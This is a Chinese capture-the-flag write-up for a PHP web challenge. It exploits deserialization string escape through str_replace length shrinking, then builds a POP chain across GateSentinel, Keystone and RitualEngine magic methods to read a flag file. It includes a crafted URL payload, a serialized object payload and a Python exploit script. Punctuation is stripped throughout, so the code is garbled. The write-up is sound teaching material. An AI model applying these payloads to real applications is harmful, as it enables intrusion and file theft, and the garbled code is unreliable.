数字古墓 · Digital Tomb题目类型web考点PHP 反序列化注入、字符串替换绕过、魔术方法 POP 链调用根据题意的话要按顺序做但第一阶段无法点击可以通过查看源码找到地址rune_trial.php第一关:目标文件:W3f82KD9.txt平台:39.105.213.28:10026访问进了39.105.213.29:10026/rune_trial.phpyadmin123就可以输出第二关文件名。关键代码:$key bnhpjowd; for ($j 0; $j strlen($key); $j) { $search . chr(ord($key[$j]) - 1); } $replace iscc; str_replace($search, $replace, $i);计算search真实字符串b -1 a n -1 m h -1 g p -1 o j -1 i o -1 n w -1 v d -1 c可以得到amgoinvc序列化后iscc替换后反序列化触发__wakeup构造字符串amgoinvc变为iscc 8字节变为4字节序列化少了4字节构成php反序列化字符串逃逸漏洞。如果内容实际长度标记长度php会继续向后吞吃字符直到凑够长度于是p ;s:1:“y”;s:8:admin123这个构造是16字节也就是d我要构造32字节。于是damgoinvcamgoinvcamgoinvcamgoinvc(32字节)构造这个http://39.105.213.28:10026/rune_trial.php?damgoinvcamgoinvcamgoinvcamgoinvcp%22%3Bs%3A1%3A%22y%22%3Bs%3A8%3A%22admin123得到W3f82KD9.txt第二关:[39.105.213.28:10026/mechanism_chamber.php]关键代码GateSentinel类先触发-Keystone 类-RitualEngine 类触发顺序1. 反序列化 GateSentinel ↓ 自动触发 __wakeup() 2. __wakeup() 里执行 preg_match($this-object) ↓ 把 $object 当成字符串处理 3. 触发 __toString() ↓ 4. 执行 $this-tool[blade]-object ↓ 访问不存在的属性 5. 触发 Keystone::__get() ↓ 6. __get() 调用 $this-center() ↓ 7. 触发 RitualEngine::__invoke() ↓ 8. 反序列化 callback得到 [对象, view] ↓ 9. 映射为 run() 方法并执行 ↓ 10. 读取 $target 中的 W3f82KD9.txt → 通关POP链构造构造 RitualEngine$e new RitualEngine(); $e-target W3f82KD9.txt; $e-callback 数组: [ $e, view ];构造 Keystone$k new Keystone(); $k-center $e;构造内层 GateSentinel$g_inner new GateSentinel(); $g_inner-tool[blade] $k;构造外层 GateSentinel$g_outer new GateSentinel(); $g_outer-object $g_inner;序列化外层最终得到payloadecho serialize($g_outer);即O:12:GateSentinel:2:{s:6:object;O:12:GateSentinel:2:{s:6:object;N;s:4:tool;a:1:{s:5:blade;O:8:Keystone:1:{s:6:center;O:12:RitualEngine:3:{s:11:*settings;N;s:6:target;s:12:W3f82KD9.txt;s:8:callback;a:2:{i:0;O:12:RitualEngine:3:{s:11:*settings;N;s:6:target;s:12:W3f82KD9.txt;s:8:callback;N;}i:1;s:4:view;}}}}}s:4:tool;N;}EXPimport requests # 第二关目标URL url http://39.105.213.28:10026/mechanism_chamber.php payload O:12:GateSentinel:2:{s:6:object;O:12:GateSentinel:2:{s:6:object;N;s:4:tool;a:1:{s:5:blade;O:8:Keystone:1:{s:6:center;O:12:RitualEngine:3:{s:11:*settings;N;s:6:target;s:12:W3f82KD9.txt;s:8:callback;a:2:{i:0;O:12:RitualEngine:3:{s:11:*settings;N;s:6:target;s:12:W3f82KD9.txt;s:8:callback;N;}i:1;s:4:view;}}}}}s:4:tool;N;} # 发送POST请求 data { data: payload } response requests.post(urlurl, datadata) # 输出结果 print( * 50) print(第二关 执行结果) print( * 50) print(response.text)